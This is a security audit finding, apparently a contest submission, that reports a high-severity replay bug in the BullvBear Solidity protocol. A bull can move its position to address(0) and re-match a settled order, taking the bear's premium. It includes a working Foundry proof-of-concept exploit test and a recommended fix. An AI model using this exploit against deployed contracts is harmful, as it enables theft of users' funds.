KingNFT

high

# [H-01] Bull can replay a settled contract

## Summary
Bull as taker can replay a settled contract.

## Vulnerability Detail
attack vector
(1) a contract is settled by bear
(2) bull call 'transferPosition()' with parameter 'recipient = address(0)'
(3) bull call 'matchOrder()' to replay the settled contract

https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L760
https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L521
## Impact
Bull is likely to steal as much as 'premium' amount of fund from bear's account.

## Code Snippet
Related source code
```solidity
function checkIsValidOrder(Order calldata order, bytes32 orderHash, bytes calldata signature) public view {
    
    // ...
    require(bulls[uint(orderHash)] == address(0), "ORDER_ALREADY_MATCHED"); // @audit risk produced here
}

function transferPosition(bytes32 orderHash, bool isBull, address recipient) public {
    uint contractId = uint(orderHash);

    if (isBull) {

        require(msg.sender == bulls[contractId], "SENDER_NOT_BULL");

        // @audit no check for recipient
        bulls[contractId] = recipient;
    } else {

        require(msg.sender == bears[contractId], "SENDER_NOT_BEAR");
        bears[contractId] = recipient;
    }

    emit TransferedPosition(orderHash, isBull, recipient);
}
```

Test case to prove this problem, put it into 'exploit.t.sol' file of 'test' directory.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {Base} from "./Base.t.sol";

import {BvbProtocol} from "src/BvbProtocol.sol";

contract ReplaySettledContract is Base {
    function setUp() public {
        bvb.setAllowedAsset(address(weth), true);
        bvb.setAllowedCollection(address(doodles), true);

        deal(address(weth), bull, 0xffffffff);
        deal(address(weth), bear, 0xffffffff);
        vm.prank(bull);
        weth.approve(address(bvb), type(uint).max);

        vm.prank(bear);
        weth.approve(address(bvb), type(uint).max);
    }

    function testReplaySettledContract() public {
        BvbProtocol.Order memory order = defaultOrder();
        order.maker = bear;
        order.isBull = false;

        bytes32 orderHash = bvb.hashOrder(order);

        // Sign the order
        bytes memory signature = signOrderHash(bearPrivateKey, orderHash);

        // Taker (Bull) match with this order
        vm.prank(bull);
        bvb.matchOrder(order, signature);

        // Give a NFT to the Bear + approve
        uint tokenId = 1234;
        doodles.mint(bear, tokenId);
        vm.prank(bear);
        doodles.setApprovalForAll(address(bvb), true);

        // Settle the contract
        vm.prank(bear);
        bvb.settleContract(order, tokenId);

        // Attack begin
        vm.startPrank(bull);
        bvb.transferPosition(orderHash, true, address(0));
        bvb.matchOrder(order, signature);
        vm.stopPrank();
    }
}
```

## Tool used

Manual Review

## Recommendation

```solidity
function checkIsValidOrder(Order calldata order, bytes32 orderHash, bytes calldata signature) public view {
    
    // ...
    require(matchedOrders[uint(orderHash)].validity == 0, "ORDER_ALREADY_MATCHED"); // @audit fix as this
}
```